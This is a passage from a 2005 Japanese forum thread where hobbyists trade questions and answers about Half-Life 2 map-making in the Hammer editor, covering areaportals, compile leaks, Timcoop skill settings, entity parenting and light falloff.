なぜ >>116 などが、必死になって否定しているのかが分からん。
0120名無しさん@お腹いっぱい。
2005/07/27(水) 00:16:48ID:vAYZzIvGマップで何も設定せずにやったらどうなるか知ってますか?
0121名無しさん@お腹いっぱい。
2005/07/27(水) 01:05:21ID:BkoLRHMu問題はHL2:DMでもskill.cfgが有効になるのかってとこですかね?
ところで、マップの最適化にチャレンジしてみたのですが、
コンパイルしたマップを起動しようとすると、「PortalNum>NumAreaportal」
みたいなエラーがデスクトップ上で表示されて落ちてしまいます。
コンパイルは初期設定のノーマルモードでしました。
areaportal自体も、Zombie's Optimizingを参考にドアの内側に2個使っただけ。
一体、何が悪いんでしょうか?
かなり漠然としていますが、原因や対策法を思いつく方はいないでしょうか?
0122名無しさん@お腹いっぱい。
2005/07/27(水) 01:13:18ID:/p9h0RJ5ちゃんと読んでちゃんと置く。
チュートリアルのページでわからなかったら公式ドキュメントも参考に。
というか公式ドキュメントは全部必読。
0123121
2005/07/27(水) 01:13:33ID:BkoLRHMu5個は窓に使って、1個はZombie's optimizeにあったfunc_brushと組み合わせた丘の図
の使い方で遠くの物をレンダリングしないように使いました。
ひょっとして、AreaportalとAreaportalwindowは同一物とみなされていて、
後者の使い方が悪い・・・という事なのかも知れませんね。
しかし、使用出来る数に制限があるんでしょうか?
窓があったら奥のものを消すために使ってみるのがAreaportalwindowなら、
普通多用すると思うんですが・・・
http://www.student.kun.nl/rvanhoorn/Optimization.htm
0124名無しさん@お腹いっぱい。
2005/07/27(水) 01:15:37ID:BkoLRHMuどうもありがとうございます。考えられるとしたらやはりareaportalwindowです。
func_occluderってのに替えたりしてみて何とかやってみます。
0125名無しさん@お腹いっぱい。
2005/07/27(水) 05:43:48ID:XT8K9nEk今のところ俺がわかるDMでcoopするのとTimの違いを書いてみる。
DMではNPCの体力や攻撃力などはskill.cfgで与えられていない。
マップでsk_*を指定する必要がある。
TimではNPCの体力や攻撃力などをskill.cfgで色々指定してある。
そのskill.cfgはサーバ立てる人が自由に変えられる。
マップでsk_*を指定してskill.cfgの値から変えることができる。
DMではコンバインに行動させることができない。
DMではマップでsk_*を指定することで被弾部位によってダメージの比率を自由に変えられる。
Timではskill.cfgを書き換えると同じことができる。
しかしマップでsk_*を指定してもskill.cfgの値から変えることができない。
DMでcoopするにはサーバでmp_teamplay 1をしなければならない。
また、チームをひとつに揃える工夫をマップがしなければならない。
Timではmp_teamplayはいらない。
しかしスポーンにはinfo_player_deathmatchかinfo_player_startを使わないとならない。
DMとTim両方に対応するにはマップでsk_*を指定し、コンバインを使わず、
スポーンはinfo_player_deathmatchを使い、トリガーでモデルをレジのものにするコマンドを打つ。
こんなところ。間違ってたらツッコミ頼む。追加もあったら頼む。
0126名無しさん@お腹いっぱい。
2005/07/27(水) 13:31:38ID:qXgw5JSgLeakの予感。
0127名無しさん@お腹いっぱい。
2005/07/27(水) 14:29:53ID:CT7AihwIええと、コンパイルのログみたいなののアタマに、
0...1...2...(略)...10 **** leaked ****
ってなってます。よく意味が分からなかったのでスルーしてましたが、コレが原因なんでしょうか?
0128名無しさん@お腹いっぱい。
2005/07/27(水) 14:34:59ID:/p9h0RJ5やっぱりドキュメント一通り読んだ方がいいよ。
0129名無しさん@お腹いっぱい。
2005/07/27(水) 14:59:49ID:CT7AihwIはい。そうしてみます・・・。
とりあえず、CSECの説明を見て、.linファイルとログを照らし合わせて見てみたんですが、
以前、作業スペースに使っていた領域を指していて、
そこで設定したtrigger_multipleの中心点(?)が移動させた後もしっかり残っていたみたいです。
どうもお騒がせしてすみませんでした
0130名無しさん@お腹いっぱい。
2005/07/27(水) 15:13:55ID:CT7AihwIまだドキュメントは読んでいませんが、リークを修正してもエラーを吐くので、
問題は別の場所、きっとareaportalを付けたドアの内側と外側が、同一の空間とみなされているんだと思います。
だとしたら、マップの構造的に閉じて隔離は出来ないので、諦めることになりそうです。
とりあえず、頑張って訳しながらドキュメント見てみます。
0131名無しさん@お腹いっぱい。
2005/07/27(水) 15:56:43ID:+Ew1E28Kareportal、内側と外側が同一空間になってても
見た目おかしくなるだけで落ちはしなかったけど、
そのへんはまあ状況によってかわるだろうから
とりあえず、areaportalにせよ、リークにせよ、
func_detailやphysics, prop_static、ディプレースメントなんかが
空間を塞がないってことは知ってるよね?
0132名無しさん@お腹いっぱい。
2005/07/27(水) 16:12:58ID:CT7AihwI初めて知りました・・・
でも、よく考えてみたらfunc_illusionなんかもfunc_detailの扱いなわけだから、そうですよね
0133名無しさん@お腹いっぱい。
2005/07/27(水) 19:42:53ID:QQD559Hqつまり空間を塞がない物体であることを明示するために使う。
閉ざされた建物の壁みたいに、外とleafを分割してほしい壁には、普通のブラシを使う。
その壁が細かいディテールを持つものなら、
まず普通のブラシでおおまかな形をつくり、そのブラシにくっつける形でfunc_detailを置く。
と思ってるけどあってるのかな。
0134名無しさん@お腹いっぱい。
2005/07/27(水) 19:49:20ID:6JXF6L5R0135名無しさん@お腹いっぱい。
2005/07/27(水) 19:57:07ID:9DNNDJvaprop_detailとfunc_detailは違うよ。func_detailはコンパイルの
後には普通のブラシに変換されてるので省略されない。
0136130
2005/07/27(水) 22:00:40ID:CT7AihwIマップそのものが糞みたいにつまらなかったので、作り直すことにしました。
HL2DMのCOOPマップで、製作中断のまま放棄されたっぽいマップを拾ったので、
コソーリ流用させてもらうことにしようと思っているのですが、やはりそういうのはいけないことなんでしょうか?
0137名無しさん@お腹いっぱい。
2005/07/27(水) 22:27:03ID:G5Rs94Jv0138名無しさん@お腹いっぱい。
2005/07/27(水) 23:32:55ID:9DNNDJva自分だけで終わらせる練習なら問題はないが、公開するつもりなら
連絡する。「あなたのマップに可能性を感じてうんぬん」とか
ほめておけば大抵ノーとはいわないと思う。
0139名無しさん@お腹いっぱい。
2005/07/27(水) 23:41:34ID:UnxJzgS0このスレの中に作者本人さんいませんかね?
endmapも付いてないようなマップだったんだけど。
http://up-n.mydns.jp/src/up1092.zip
ひょっとしてまだ製作進めてたりするのかな?
結構経ったのに出てこないから、てっきり、中断したとばかり・・・
かなり狭い感じだけど、拡張工事すれば使えそうだと思ったんで
0140名無しさん@お腹いっぱい。
2005/07/28(木) 00:04:19ID:XcaPVlAt0141名無しさん@お腹いっぱい。
2005/07/28(木) 01:24:47ID:P3Y8sxRt車はなさそうだな。
0142名無しさん@お腹いっぱい。
2005/07/28(木) 11:35:34ID:Q+iPQ5UZ俺はDMマップをシングルに作り変えたいけどいいか、
って作成者に連絡したけど返事なかった
勝手につくりはじめてて完成させちゃってたのだが、
返事こなかったのでそのマップはボツった
0143139
2005/07/28(木) 14:17:29ID:W75VHZx+http://www.rawmeat.be/timcoop/media.php
(下の方)
こうなったら、無断で勝手に改造してやります。どうせ誰が作ったのか分からないだろうし
0144名無しさん@お腹いっぱい。
2005/07/29(金) 14:07:31ID:VzeTkC1qどうもHL2の銃ってどれも見た目といい音といい最悪なきがするんだけど
0145名無しさん@お腹いっぱい。
2005/07/29(金) 14:40:02ID:fT+Tqa5Oデキルヨ
ttp://halflife2.filefront.com/files/Half-Life_2/Skins/Weapons;2484
0146名無しさん@お腹いっぱい。
2005/07/30(土) 15:48:52ID:H29huiIMその壁を消すとか壊すとか動かすとかして、
とにかく壁を目の前から無くして、向こう側へプレーヤー行けるようにする方法はありますか?
とりあえず、自分が思いつく範囲ではfunc_brush,func_wall,func_breakable程度しか思い当たらなく、
どれもコンパイル時にエラーが出て失敗しました。全く別の方法とかがあったりするんでしょうか?
0147名無しさん@お腹いっぱい。
2005/07/30(土) 16:38:13ID:mnDUn7vU通路の途中にある凸凹と平らな部分があるfunc_door_routingを使って180度回転させて消す
こんなやり方もある、但し通路近辺に回転させるためのスペースが必要だが・・・
0148名無しさん@お腹いっぱい。
2005/07/30(土) 18:02:01ID:H29huiIMえっと、よく分からないのですが、func_door_routingな方形オブジェクトとディスプレースメントを
親子関係にして、方形オブジェクトを回転させればディスプレースメントも回転するって感じでしょうか?
とりあえずそんな感じでやってみたら、見事にエラーが出てコンパイル出来ませんでした。
と言いますか、それ以前にディスプレースメントをエンティティに変換するだけでエラーが出る気がするのですが・・・
いや、私のやり方がおかしいのかも知れませんね。
0149名無しさん@お腹いっぱい。
2005/07/30(土) 20:49:06ID:Qp0ewnJo0150名無しさん@お腹いっぱい。
2005/07/30(土) 21:06:23ID:Qp0ewnJo普通にブラシを変形して作りましょう。
0151名無しさん@お腹いっぱい。
2005/07/30(土) 21:58:31ID:H29huiIMそれもやってみましたが、技術が全く足りず、変なモノしか作れませんでした。
しょうがないんでフツーの直方体をポンと置くことにします。(あぁ・・・簡単だ)
ところで、Timcoop v1.03本体ではクロスボウでダメージが出なくなっていますが、
マップ側の設定でクロスボウでのダメージを可能にしたりすることは不可能・・・ですよねぇ?
skill.cfgいじってもダメだったし・・・
なんで、クロスボウだけおかしいんだろう?
仮に物理オブジェクトを飛ばしてダメージを与えている扱いだとしても、
コンバインボールでダメージが出てるから説明が付かないし・・・
あれ?コンバインボールは物理オブジェクト扱いじゃなかったかな?
0152名無しさん@お腹いっぱい。
2005/07/30(土) 22:12:30ID:f9PJie+20153名無しさん@お腹いっぱい。
2005/07/31(日) 00:02:52ID:NKU+Sjtg>>151
何言ってんの?今は普通に使えるよ(1.03出て直ぐ)
skill.cfg←弄るのはそれではない。
0154名無しさん@お腹いっぱい。
2005/07/31(日) 01:24:58ID:oV5rnsm7Timcoopを再インスコして、ゾンビ数匹のマップ作ってみて試してみましたが、
やはり何度攻撃してもクロスボウで倒すことは出来ませんでした。
ひょっとして、ホストで起動するとダメなのかな?専用サーバーならOKとか?
一体、1.03をインストールした後に何をすれば良いのでしょうか?
もし良ければ、TIMCOOPフォルダの中身を圧縮して、どこかのアップローダに上げてもらえませんかね?
0155名無しさん@お腹いっぱい。
2005/07/31(日) 01:51:58ID:NKU+Sjtg0156名無しさん@お腹いっぱい。
2005/07/31(日) 12:03:51ID:+4QYDC5wどうもありがとうございます。
サーバー側の設定が欠けているってことだったんですねぇ
0157名無しさん@お腹いっぱい。
2005/08/01(月) 22:34:40ID:qDZAR4qRアントライオンガードに乗ったコンバイン兵とか沸かせられれば笑えそう
0158名無しさん@お腹いっぱい。
2005/08/01(月) 23:52:05ID:UP99Ww/KNPCにprop_dynamicをくっつければそのように見える。
コンバイン乗ってる意味ないし、そもそも乗ってるように見えないと思うけど。
0159名無しさん@お腹いっぱい。
2005/08/02(火) 00:39:29ID:iWAoMpgjコンバイン兵6人程に人間ピラミッド作らせて、
それの後ろにアントライオンガードをくっつけて動力現にして、笑ってみてぇもんだ
とか考えてたんですけど、NPCのプロパティ見ると、フツーに[parent]項目無し。
悲しい・・・
prop_dynamic使ったら、銃を撃ってこないから、おっしゃる通りただの飾りになっちゃいますよねぇ
一つのエンティティブラシに2個以上の親を設定できれば良いんですけどね・・・
とか書いてたら不意に、ゲリMODでモノとモノをくっつける道具が出てきたのを思い出したんですが、
あれって、一つのモノに3つ位はくっつけられませんでしたっけ?
思い違いのような気もするけど、もし本当だったら、それってどうやってるんでしょうね?
0160名無しさん@お腹いっぱい。
2005/08/02(火) 00:48:06ID:GAT5QLTwみっつどころじゃないぞ。
0161名無しさん@お腹いっぱい。
2005/08/02(火) 02:22:11ID:OzTlHk6N試してないからできるかどーか知らんけど
0162名無しさん@お腹いっぱい。
2005/08/02(火) 15:01:17ID:tw4fMUl+2つ以上の動く物体に固定できるわけがない。どういう意味?
試しにやってみたけど、NPCでもSmartEdit外してparentname追加してやればくっつけられるよ。
ガードに車引かせてその上にガッポイとかもできた。
ヘッドクラブの上にガッポイとか面白いね。
0163名無しさん@お腹いっぱい。
2005/08/02(火) 19:17:20ID:T7hxUJTBSmartEditの項目に無かっただけで、設定は出来るんですねぇ。
ガッポイの頭の上に鳩をつけて、
戦闘が始まるとどっかに飛んでっちゃうガッポイとかも面白そうです
0164名無しさん@お腹いっぱい。
2005/08/03(水) 01:14:59ID:wEGsoPckそのまんまSpawnさせることは出来ないですよね。
I/Oを使ったりして、それぞれがSpawnしたらくっつけることは出来るみたいだけど、
どの位置にどんな状態でくっつけるのかは、どうやれば変更できるのかワカンネ
0165名無しさん@お腹いっぱい。
2005/08/03(水) 13:17:30ID:+aloWFyy0166名無しさん@お腹いっぱい。
2005/08/05(金) 01:58:30ID:idVDy4xk固定するにはどうすればいいでしょうか?
0167名無しさん@お腹いっぱい。
2005/08/05(金) 08:27:43ID:+q0qgIP9物理エンティティーでくっつけるサンプルマップがどこかにあったと思う
0168名無しさん@お腹いっぱい。
2005/08/06(土) 11:07:57ID:hFkScfIkコンパイルして起動すると、選択したテクスチャがちゃんと貼り付けられてるのに
エディタだとテクスチャが表示されてない。
これはもしかしてメモリ不足だったりすると起こるのか?
0169名無しさん@お腹いっぱい。
2005/08/06(土) 11:38:00ID:kQru6ceicameraって書いてあるところをクリックしてみたら何かがわかるかも。
0170名無しさん@お腹いっぱい。
2005/08/06(土) 14:21:18ID:5DG4tOrzどきゅめんとよもーーーーーーーよーーーーーーーーーーーーーーーーーーーー
0171名無しさん@お腹いっぱい。
2005/08/07(日) 04:11:49ID:N5/rxWBN照準とかの見た目変更ってどうやるのでしょう
0172名無しさん@お腹いっぱい。
2005/08/07(日) 07:26:11ID:aYZ033sR0173名無しさん@お腹いっぱい。
2005/08/07(日) 09:31:32ID:wyqMVc8b照準とか武器アイコンはresourceフォルダにフォントとして
はいってる。フォントファイルを編集できるプログラムを探して、
好きな画像と入れ替えろ。
照準変更チュートリアル
ttp://www.bullseyecrosshairs.com/hl2sites1.shtm
0174名無しさん@お腹いっぱい。
2005/08/07(日) 09:45:58ID:N5/rxWBN感謝
0175名無しさん@お腹いっぱい。
2005/08/08(月) 16:51:06ID:0Yg421ySそれともkorinインストールした人だけ?
0176名無しさん@お腹いっぱい。
2005/08/08(月) 17:57:00ID:blZhG5Gd*くすくす笑い*
0177名無しさん@お腹いっぱい。
2005/08/08(月) 18:06:56ID:PRmY1fpo0178名無しさん@お腹いっぱい。
2005/08/08(月) 19:11:06ID:LYjMAIxXインストールしてない人は、Korinが置き換える前の
デフォルトのモデルが見える。
0179名無しさん@お腹いっぱい。
2005/08/11(木) 02:38:58ID:LbPWBdqbどっかに落ちてませんかね?
ノーマル、スペキュラーマップは付いてなくても良いんですが・・・
0180名無しさん@お腹いっぱい。
2005/08/12(金) 13:05:59ID:eBRvsjGdlight_envとHDR用の新しいSKYBOXは併用出来んの?
てか、マップの方でHDR有効か無効か切り替えられるの?
ソースエンジンが丸ごとアップデートされるなら、デスマッチでもHDR有効のマップは作れるの?
0181名無しさん@お腹いっぱい。
2005/08/12(金) 14:01:00ID:Ld8/TIK4にゅーすみような
0182名無しさん@お腹いっぱい。
2005/08/13(土) 19:38:51ID:d22vwoU+0183名無しさん@お腹いっぱい。
2005/08/17(水) 14:53:20ID:LQ/nXT+Kareaportalしか知らないんですが、他にもあるんでしょうか?
0184名無しさん@お腹いっぱい。
2005/08/18(木) 14:45:46ID:OnbTH8rs0185名無しさん@お腹いっぱい。
2005/08/18(木) 19:45:55ID:9mhn6fVC重ならないように配置しましょう。
0187名無しさん@お腹いっぱい。
2005/08/20(土) 01:03:02ID:Wzx/GFMiテンプレサイトのチュートリアルで、コンパイルの段階になってから、RunMapで”Game Parameters”を
-dev -console +sv_lan 1
(チュートリアルのまんま)
実行すると
failed to load the launcher.dll
とエラーが出て実行されません。
コンテントのパスはインストールしてから変更してないのですが、
HL2は、Dドライブにインストしてあるので、変更しないといけないのでしょうか?
それとも他の問題なのでしょうか?
0188名無しさん@お腹いっぱい。
2005/08/20(土) 01:23:45ID:BfG7HHZM最近のアップデートで出た問題らしい。とりあえず、SDKメニューで
"refresh SDK content"を選んでSDKの中身が最新のものになるように
やってみるといいかも。
0189187
2005/08/20(土) 10:53:14ID:Wzx/GFMiレス有難うございます
refresh SDK contentを実行したのですが、やはりエラーが出てしまいます・・
launcher.dllは検索すると、入っているんですが、dllを置く場所が違うのかなぁ
0190名無しさん@お腹いっぱい。
2005/08/20(土) 11:16:37ID:BNnVhsqdハンマーから立ち上げるんじゃなくて、ゲーム内から
コンソール開いて「map 自分のマップ」でマップを読み込んで
みたら?
なぜかそれをやったらエラーが消えたという話もあるから。
0191名無しさん@お腹いっぱい。
2005/08/20(土) 11:34:21ID:sPzQiVLZワールドブラシしかない。
func_areaportalは閉じられた空間を明示的にエリア分割することでリーフ分割を助け、
同時に可視性をコントロールするエンティティなので、
空間を閉じるのに使うものではない。
何がしたいかを書いてくれれば助言できるが?
0192名無しさん@お腹いっぱい。
2005/08/21(日) 12:30:35ID:fbNsW/keどうすればまた表示できるのでしょうか。
0193名無しさん@お腹いっぱい。
2005/08/21(日) 21:17:19ID:iyjwmeGeメニューのViewから適当に。
0194名無しさん@お腹いっぱい。
2005/08/21(日) 21:25:08ID:pbrtN50/どうもありがとうございます。
何がしたかったかと言いますと、
部屋は一つで、壁を繰り抜いた部分がが上にも横にも複数あるような小屋があって、
武器やらアイテムやらをたくさん置きすぎたので、軽くするために空間を閉じようと思い、
それぞれのくりぬき穴にfunc_areaportalwindowとfunc_illusionalyの窓を組み合わせて、
その小屋からある程度離れると、小屋の中がレンダリングされなくなるようにしようと考えたのですが、
いざ実行してみると、小屋の内側にいる時は、areaportalwindowの描画許可範囲内なので、
小屋の内側も外側も全てレンダリングされているはずなのに、内側だけがレンダリングされて、
小屋の外側は表示異常みたいになってしまっていたんです。
だから、他に良い方法は無いものかと思ったのですが・・・
・・・と、書いていて思ったのですが、武器やらなにやらのエンティティなら、
func_occluder(?)だとかで消せるような気がしますね。
あ、でも、func_occluderで、プレーヤーモデルまでもが消えたら、
自分が外にいて、敵プレーヤーが内側にいたら、こっちからは何も見えないのに、
敵からは見えっぱなしの格好の標的になってしまいますね。
0195名無しさん@お腹いっぱい。
2005/08/22(月) 01:23:18ID:EZo4tGm8こういうのではだめ?見栄えが悪いけど。
shitabirame.hp.infoseek.co.jp/cgi-bin/src/up0304.zip
0197名無しさん@お腹いっぱい。
2005/08/23(火) 17:38:28ID:RN2JIDiNなぜか遠くへいくとまっくらになり
近づくと明るくなります。
こんなもんなのでしょうか?
解決法あったら教えていただきたい
0198名無しさん@お腹いっぱい。
2005/08/23(火) 17:40:49ID:ysGKK5rcどんな状況で何を聞きたいのかさっぱりです
0199名無しさん@お腹いっぱい。
2005/08/23(火) 20:49:04ID:Rds7YWFW0200名無しさん@お腹いっぱい。
2005/08/23(火) 20:59:29ID:Xgxt5nuNその二個下のクアッドだかなんだかってのを0にしてみたら?
0201名無しさん@お腹いっぱい。
2005/08/23(火) 21:03:43ID:Xgxt5nuNそれぞれを組み合わせるとどうなるのかは知らんが、
コンスタントは減衰ナシで、リニアが距離と比例しての減衰、
クアッドなんたらってのは、多分、距離に対して二乗の度合いでの減衰ってとこかな?
0202名無しさん@お腹いっぱい。
2005/08/23(火) 21:11:55ID:iS3t/NaHどこからどうアクセスすればいいのか分からない(金槌とは別のツールが必要なのか)。orz
伝授して頂けないでしょうか?
ttp://www.valve-erc.com/srcsdk/Code/hud_elements.html
VGUI2
ttp://www.valve-erc.com/srcsdk/VGUI2/vgui2.html
0203名無しさん@お腹いっぱい。
2005/08/23(火) 21:19:12ID:ysGKK5rcそこはプログラミングのカテゴリだけど?
0204202
2005/08/23(火) 21:24:17ID:iS3t/NaHまじっすか
設定画像が出てるし、翻訳してたら
「ドラックアンドドロップで簡単に作れるゼ」
みたいに書かれてたんで挑戦しようと思ったのだが
プログラムか・・
0205名無しさん@お腹いっぱい。
2005/08/23(火) 21:24:17ID:fJuTy/hT0206名無しさん@お腹いっぱい。
2005/08/23(火) 21:36:58ID:V5EiHXBC0207名無しさん@お腹いっぱい。
2005/08/24(水) 13:53:43ID:k9L9XJsu0208名無しさん@お腹いっぱい。
2005/08/24(水) 18:57:59ID:fxV3Wcx80209名無しさん@お腹いっぱい。
2005/08/24(水) 23:41:24ID:+qpwZSnWlockdownでは500000とかやってるし、Constantは到達距離を指定するんじゃないかなぁ。
0210名無しさん@お腹いっぱい。
2005/08/25(木) 01:28:19ID:mTDMIzJnへぇ〜!!そうなのか。
でも、値が1でも、どこまでも届くようになると思う。(広くない屋内でしかテストしたことないから断定は出来ませんが)
でも、500000とかムチャクチャだなw
そういえば、爆撃に使ってたbullseyeのHealthも500000だったような・・・
ひょっとして、500000って値以上は使えないのかな?
それとも、マップ製作者がデカい数値を打ち込む時のクセかな?
0211名無しさん@お腹いっぱい。
2005/08/25(木) 01:33:22ID:1QHJaiNNあとどの値も1だろうが10だろうが0.1だろうが変わらんような気がする
たぶんConst, Linear, Quadoraの割合で減衰が決まるのかと
0212名無しさん@お腹いっぱい。
2005/08/25(木) 01:52:49ID:4bQL8OkH?
0213名無しさん@お腹いっぱい。
2005/08/25(木) 03:04:49ID:1QHJaiNNy = 1/(c + l * x + q * x^2)
なんじゃないかな
確証はない
0214名無しさん@お腹いっぱい。
2005/08/25(木) 18:35:12ID:OQebSx5Z0215名無しさん@お腹いっぱい。
2005/08/25(木) 19:40:12ID:Joq1B6aY0216名無しさん@お腹いっぱい。
2005/08/25(木) 19:45:19ID:LcOupxv80217名無しさん@お腹いっぱい。
2005/08/25(木) 20:11:01ID:t+yDoHCE流すサウンドも選べないから、銃声の反響とか何かに関したものだと思ってたんですが
0218名無しさん@お腹いっぱい。
2005/08/25(木) 20:11:49ID:r9sNVsUW0219名無しさん@お腹いっぱい。
2005/08/25(木) 20:49:08ID:OQebSx5Zいかんともしがたい。
0220名無しさん@お腹いっぱい。
2005/08/26(金) 10:18:40ID:7rLCQjJuいまだにサウンドスケープの使い方がわからん
0221名無しさん@お腹いっぱい。
2005/08/26(金) 11:09:14ID:giE2Vbf0同じく。サウンドスケープの使い方が説明されてるけど、
使うべき状況と、それを使うとどうなるのかが詳しく書かれてなくてワカンネ
0222名無しさん@お腹いっぱい。
2005/08/26(金) 19:30:44ID:fLgCDyfc0223名無しさん@お腹いっぱい。
2005/08/26(金) 22:29:27ID:0rGs0qL1どうすればできるのでしょうか?
0224名無しさん@お腹いっぱい。
2005/08/26(金) 22:52:20ID:tX8yJcE6HL2DM戦略マップのスレで聞くほうが良いと思うけど、
鯖のCONFIGにsv_gravity "***"(***は任意の数値)って書き込めば良い。
ゲーム内でコンソールを使って、自分の理想の数値を探してみると良いと思う
0225名無しさん@お腹いっぱい。
2005/08/27(土) 01:17:45ID:1jh5LLGQambient_genericがある点から聞こえてくる音
env_soundscapeは聞こえ方も含めた環境音
だと思ってたけど違うんかいな
どっちにしても、意味じゃなくて使い方がわからんのだけど
0226名無しさん@お腹いっぱい。
2005/08/27(土) 11:21:33ID:gkNpbFbDサウンドスケープは色々な使い方があるっぽい。
ドアの近くに置いて、ドアの内と外を隔てるための、
云わば音を遮る見えないブラシ みたいな使い方がされてた。
0227名無しさん@お腹いっぱい。
2005/08/27(土) 16:25:30ID:n2uivAkC俺はfilter_multiの説明文からコピペしてるんだけど
もっといい方法あったら教えてほしい
0228名無しさん@お腹いっぱい。
2005/08/27(土) 20:29:06ID:EIMxwker0229名無しさん@お腹いっぱい。
2005/08/27(土) 22:20:32ID:GqdDCZAn0230名無しさん@お腹いっぱい。
2005/08/29(月) 22:23:03ID:UuoB7NOB歩けるように(E3のSourceEngineのデモの最初のあれみたいに)は、
出来るのでしょうか?
0231名無しさん@お腹いっぱい。
2005/08/30(火) 00:16:12ID:7ufQt6JLttp://developer.valvesoftware.com/wiki/Env_terrainmorph
0232名無しさん@お腹いっぱい。
2005/08/30(火) 00:52:56ID:bUsGMJJaそうだったんですか。どうも親切にありがとうございます。
でも、それならE3の時のアレはどうやってたんだろう・・・?一応、やれないことはないってことかな?
0233名無しさん@お腹いっぱい。
2005/08/30(火) 08:44:38ID:OO+rKUYqデモ向けに無理矢理動かす(動いてるふり)→後でカット
というのはよくあること…コーダーががんばれば復活できるかも
しれないけど。
0234名無しさん@お腹いっぱい。
2005/08/30(火) 13:28:39ID:bUsGMJJa0235名無しさん@お腹いっぱい。
2005/08/30(火) 16:21:21ID:WKfop9VS0236名無しさん@お腹いっぱい。
2005/09/01(木) 21:21:08ID:RJCPpSIoあわよくは9600XT Ultimateを買っておけばよかった
0237名無しさん@お腹いっぱい。
2005/09/01(木) 21:21:42ID:RJCPpSIo0238名無しさん@お腹いっぱい。
2005/09/02(金) 01:11:04ID:F5rxAU2xF9 → コマンドに -win を記述
でウィンドウモードでテストしたいのですが、なぜかナラナイ orz
何か誤ってますか?
0239名無しさん@お腹いっぱい。
2005/09/02(金) 01:19:04ID:JdJhp2FX0240238
2005/09/02(金) 01:49:08ID:F5rxAU2x>239氏
有難うございます。
0241名無しさん@お腹いっぱい。
2005/09/02(金) 04:32:32ID:aDw0/g+Z要するに金曜のDSみたいなデカいかたまりをまるごとコピーする方法。
1.コピーしたいエンティティ達の名前の後ろにprefab01等適当な文字列を付け足す。
2.それにあわせてoutputやparentname等を変更する。
3.コピーしたいエンティティ達を全て選択し、prefab化する。
4.prefabのvmfをテキストエディタで開き、prefab01を違う文字列に全置換する。
5.prefabを貼り付ける。
常識かね?
0242名無しさん@お腹いっぱい。
2005/09/02(金) 06:44:46ID:wSNqqzTh0243名無しさん@お腹いっぱい。
2005/09/02(金) 07:08:35ID:JdJhp2FX置換機能ならHammerにもあるぜ
不安だからtxtに落としてやってたけど
0245名無しさん@お腹いっぱい。
2005/09/02(金) 12:10:19ID:C7x5228kいくつか作ることが前提なら、初めから1と2をやりながら作ればいいじゃん。
少し複雑なやつならかなり簡単になるよ。
あと、ちょっとした変更をするのが簡単だし。
0246名無しさん@お腹いっぱい。
2005/09/02(金) 15:31:47ID:xLM5vJnG次のロード時にそれらの面がグチャグチャに壊れるんですけど、
これを回避する方法ってあるんですかね?
0247名無しさん@お腹いっぱい。
2005/09/02(金) 16:20:39ID:PGcikq/Aそれじゃない?マップのエラーチェックしてみるべし
0248名無しさん@お腹いっぱい。
2005/09/02(金) 16:52:30ID:xLM5vJnGうはw 一つの壁を取り出してみたら、平面なのにカーブしてるあり得ない面を持つ物体が出てきたw
エラーチェックでも、ズラーっとエラー吐いてました。
Torusって使えないなぁ・・・
でも、sphereまでNGとは・・・・
0249名無しさん@お腹いっぱい。
2005/09/02(金) 17:30:13ID:PGcikq/Aそしてかなり大きめに作って縮小したら大丈夫だった気がする。
0250名無しさん@お腹いっぱい。
2005/09/02(金) 22:42:38ID:4mIPkKeL0251名無しさん@お腹いっぱい。
2005/09/02(金) 23:42:08ID:xLM5vJnG既にやってみたけど出来なかったですね
0252名無しさん@お腹いっぱい。
2005/09/03(土) 01:42:58ID:SJ6O77Ip当のpakファイルが見あたらないっス
ファイルの所在が、
ハーフライフインストールフォルダ/valve/pak0.pak
とあるのですが、valveのフォルダ自体が無いです。(HDに検索かけてもヒットせず)
どこからダウンロードするのでしょうか?
0253名無しさん@お腹いっぱい。
2005/09/03(土) 02:08:00ID:TJpmaRKSgcfの中
0254名無しさん@お腹いっぱい。
2005/09/03(土) 13:20:21ID:NloaCAfESteamじゃないhalf-lifeの話じゃないそれ。
Steamではpakになってなかったと思うけど。
0255名無しさん@お腹いっぱい。
2005/09/03(土) 23:23:52ID:eUqhejpDtemplate使えばそんなことしなくても一発じゃない?
0256名無しさん@お腹いっぱい。
2005/09/04(日) 01:00:13ID:gTdrRWeglightとかtemplateで作れないエンティティもあるじゃん。
0257名無しさん@お腹いっぱい。
2005/09/04(日) 23:35:56ID:uM+Bhwauボタンでtrigger_teleportをon/offするだけじゃ反応してくれない・・
0258名無しさん@お腹いっぱい。
2005/09/04(日) 23:48:21ID:fSaw/P1fテレポート前とテレポート後の2つのエンティティを置いて、
ボタンで表示切替(インチキ)とか。
0259名無しさん@お腹いっぱい。
2005/09/04(日) 23:49:09ID:P1Qh8AjFflagsをちぇっく
0260257
2005/09/05(月) 01:16:48ID:eViLi8bhボタンを押したらphysboxをある場所に戻したい。
できれば最初にあった場所とは違う場所がいい。
teleportをphysboxのparentにしてボタンでトグルしたが、反応しない。
ためしにparentを解除して手動でteleportに持って行ったらちゃんと反応した。
どうやらparentだと触ったことにならないらしい。
どうすればいいかな?
0261名無しさん@お腹いっぱい。
2005/09/05(月) 01:16:58ID:GM9tiUB5point_teleportってなかったっけ?
0262名無しさん@お腹いっぱい。
2005/09/05(月) 01:31:50ID:1613k7FZ何がしたいのか分からない
0264名無しさん@お腹いっぱい。
2005/09/05(月) 14:52:11ID:zo6HsFOsHL2DMで水死した際に残る音は、まっさらなenv_soundscapeをspawn地点に置くと消えるみたい。
0265名無しさん@お腹いっぱい。
2005/09/06(火) 00:23:10ID:VFjoMY3Zコレも、細い通り道やスポーンポイントとかにサウンドスケープ置いとけば直るのかな?
今度試してみます
0266名無しさん@お腹いっぱい。
2005/09/06(火) 16:00:29ID:Hc26FX4Vpreserve entity nameをチェックしていないpoint_template
があるマップを使用すると落ちるらしい。
0267名無しさん@お腹いっぱい。
2005/09/06(火) 21:40:21ID:xp8I6hYFこれが使えないとテンプレートにする意味がない気がする
0268名無しさん@お腹いっぱい。
2005/09/06(火) 23:26:40ID:NCXndNxY0269名無しさん@お腹いっぱい。
2005/09/07(水) 20:47:16ID:ofCct+p20270名無しさん@お腹いっぱい。
2005/09/13(火) 21:36:20ID:ow7fWG+0参照すら面倒くさいしエディタヘボイし
UnrealEngineを見習えっつーの
0271名無しさん@お腹いっぱい。
2005/09/13(火) 22:24:01ID:QZbGumK2パーチクリンなおまえには想像もつかんだろうが
圧縮してあったほうがカスタムMAP入れてる鯖入ったときとかDLするとき早くていいんだよ
このMOD時代には必須
0272名無しさん@お腹いっぱい。
2005/09/13(火) 22:28:13ID:QZbGumK2unrealエンジンも圧縮でも圧縮でなくてもできるようになってるしw
HLとQUAKE系(まぁHL自体Quake2エンジンなわけが)と
